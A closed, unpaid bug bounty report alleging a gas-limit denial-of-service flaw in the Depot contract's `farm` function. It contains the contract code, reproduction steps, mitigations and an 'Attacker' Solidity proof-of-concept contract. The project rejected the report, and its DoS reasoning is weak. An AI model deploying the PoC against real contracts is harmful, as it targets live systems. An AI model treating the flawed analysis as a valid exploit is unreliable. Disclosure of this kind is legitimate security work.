📄

Report #27523

Report Date
January 5, 2024
Status
Closed
Payout

Gas Limit and Denial-of-Service Vulnerability in `Depot.farm`

Report Info

Report ID

#27523

Report type

Smart Contract

Has PoC?

Yes

Target

Impacts

  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
  • Block stuffing for profit
  • Unbounded gas consumption

Summary

The farm function in the Depot contract is vulnerable to gas limit issues and potential denial-of-service (DoS) attacks due to the use of delegatecall within a loop without proper gas management.

Contract

Depot.sol

Function

function farm(bytes[] calldata data)
    external
    payable
    returns (bytes[] memory results)
{
    results = new bytes[](data.length);
    for (uint256 i = 0; i < data.length; i++) {
        (bool success, bytes memory result) = address(this).delegatecall(data[i]);
        LibFunction.checkReturn(success, result);
        results[i] = result;
    }
}

Steps to Reproduce

  1. Deploy the Depot contract on a network with a known block gas limit.
  2. Craft an array of data elements where each element is a call to a function that consumes a significant amount of gas.
  3. Call the farm function with the crafted data array and provide just enough gas to exceed the block gas limit when combined.

Expected Result

The transaction should fail due to out-of-gas errors, or it should handle gas consumption gracefully.

Actual Result

The transaction consumes all provided gas and fails, potentially leading to a DoS condition if used maliciously.

Impact

An attacker can cause legitimate transactions to fail by deliberately crafting input that consumes excessive gas. This can lead to a DoS condition, preventing the farm function from being used as intended.

Mitigation

  1. Gas Estimation Mechanism:
    • Implement a gas estimation mechanism to predict the gas cost of each delegatecall and ensure the loop does not exceed a safe gas threshold.
  2. Gas Limit Parameter:
    • Introduce a gas limit parameter for each delegatecall to control the maximum gas each call can use.
  3. Graceful Failure:
    • Allow the farm function to fail gracefully for individual delegatecalls that run out of gas, instead of reverting the entire transaction.
  4. User Education:
    • Educate users on the potential gas costs associated with their transactions and encourage responsible usage.

Severity

High - The vulnerability can lead to failed transactions and potential DoS attacks, affecting the contract's usability and reliability.

Proof of concept

Attacker Code :

// Attacker contract that interacts with the Depot contract
contract Attacker {
    Depot public depotContract;

    constructor(address _depotAddress) {
        depotContract = Depot(_depotAddress);
    }

    function attack() public {
        bytes[] memory maliciousData = new bytes[](10);
        for (uint i = 0; i < maliciousData.length; i++) {
            // Encode the call to a non-existent function with large inputs to consume gas
            maliciousData[i] = abi.encodeWithSignature("nonExistentFunction(uint256[10])", [uint256(1),2,3,4,5,6,7,8,9,10]);
        }

        // The attacker calls the `farm` function with the malicious data
        // Note: The attacker would need to send enough ETH to cover the gas costs
        (bool success, ) = address(depotContract).call{value: address(this).balance}(abi.encodeWithSelector(depotContract.farm.selector, maliciousData));
        require(success, "Attack failed");
    }

    // Fallback function to receive ETH
    receive() external payable {}
}

BIC Response

This is not a valid bug report because unexpected outcomes due to improper use of Pipeline/Depot do not qualify for bounties. Read more here: https://evmpipeline.org/pipeline.pdf#section.6

Due to these reasons, we are closing the submission and no reward will be issued.